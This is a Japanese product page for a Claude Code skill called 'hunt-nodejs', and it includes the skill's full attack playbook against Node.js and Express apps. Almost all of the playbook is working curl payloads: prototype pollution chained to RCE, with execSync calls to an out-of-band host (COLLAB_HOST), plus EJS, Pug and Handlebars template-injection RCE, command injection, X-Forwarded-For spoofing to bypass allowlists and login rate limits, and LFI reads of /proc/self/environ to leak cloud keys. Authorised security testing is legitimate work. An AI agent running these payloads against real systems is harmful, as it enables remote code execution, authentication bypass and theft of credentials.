hunt-nodejs について
hunt-nodejs は、Node.js 固有の脆弱性を探すセキュリティテスト向けスキルです。プロトタイプ汚染、Express のプロキシ信頼設定、テンプレートインジェクション、コマンドインジェクションを、技術の特定から影響確認まで調べます。
主な機能
- 01Node.js と Express の露出兆候を特定
- 02プロトタイプ汚染と危険な呼び出し先を検出
- 03Express のプロキシ信頼設定をテスト
- 04テンプレートエンジンのサーバー側注入を確認
- 05コマンド注入と環境情報漏えいを調査
活用シーン
- 01Node.js API のプロトタイプ汚染リスク監査
- 02IP 許可リストやレート制限の回避可否確認
- 03入力値がテンプレートやシェルコマンドに届くか検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-nodejsインストール後、Claude Code で/hunt-nodejsを入力して読み込まれたか確認します。
詳細
HUNT-NODEJS — Node.js 固有の脆弱性
重要資産の標的
Node.js バックエンドでシンクに到達するプロトタイプ汚染は、クリティカルな RCE につながります。
最も価値の高い攻撃チェーン:
- プロトタイプ汚染 → RCE —
lodash.merge/Object.assign経由での__proto__インジェクション → 汚染されたプロトタイプがchild_process.execまたはvm.runInNewContextのシンクに到達 - Express の trust proxy — 検証せずに
app.set('trust proxy', true)を設定 → 攻撃者がX-Forwarded-Forを設定して IP 許可リストやレート制限を回避 - EJS/Pug の SSTI — テンプレートエンジンがユーザー入力を受け取る →
{{= process.mainModule.require('child_process').execSync('id') }} child_processインジェクション — ユーザー入力をシェルコマンド文字列に埋め込む → OS コマンドインジェクションrequire()のパストラバーサル — 攻撃者が制御するモジュールパス → 任意のファイルを JS として読み込む
攻撃対象領域の兆候
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate
フェーズ 1 — フィンガープリント
# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
フェーズ 2 — プロトタイプ汚染の検出
# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
フェーズ 3 — プロトタイプ汚染 → RCE の攻撃チェーン
# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation — check Interactsh for callback
フェーズ 4 — Express の trust proxy の悪用
# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"action": "test"}'
# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1"
# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl -s https://$TARGET/api/login \
-H "X-Forwarded-For: 1.2.3.$i" \
-d '{"email":"[email protected]","password":"wrong"}' \
-o /dev/null -w "$i: %{http_code}\n"
done
フェーズ 5 — テンプレートエンジンの SSTI(EJS / Pug / Handlebars)
# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= 7*7 %>"}'
# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
フェーズ 6 — child_process のコマンドインジェクション
# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
-H "Content-Type: application/json" \
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
フェーズ 7 — /proc/self/environ からの情報流出
# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
攻撃チェーン表
| Node.js の検出事項 | 次の攻撃先 | 影響 |
|---|---|---|
| プロトタイプ汚染を確認 | RCE のシンク(child_process、eval)を探す | クリティカルな RCE |
| Express の trust proxy | IP 許可リスト/レート制限を回避 | 認証回避/DoS 防御回避 |
| テンプレートエンジンの SSTI | OS コマンド実行 | クリティカルな RCE |
| child_process のインジェクション | id && curl COLLAB_HOST | クリティカルな RCE |
| LFI 経由の /proc/self/environ | AWS_ACCESS_KEY_ID の漏えい | クラウド環境の侵害 |
検証
✅ プロトタイプ汚染:送信していないキーが後続の API レスポンスに現れる
✅ RCE の攻撃チェーン:OOB コールバックを受信、またはレスポンスに id の出力が含まれる
✅ Trust proxy:偽装した IP が受け入れられ、レート制限または許可リストを回避できる
深刻度:
- プロトタイプ汚染 → RCE:クリティカル
- SSTI → RCE:クリティカル
- child_process のインジェクション:クリティカル
- Trust proxy → レート制限の回避:中
- /proc/self/environ からの情報流出:高(クラウドキーが含まれる場合)
コメント
Markdown 対応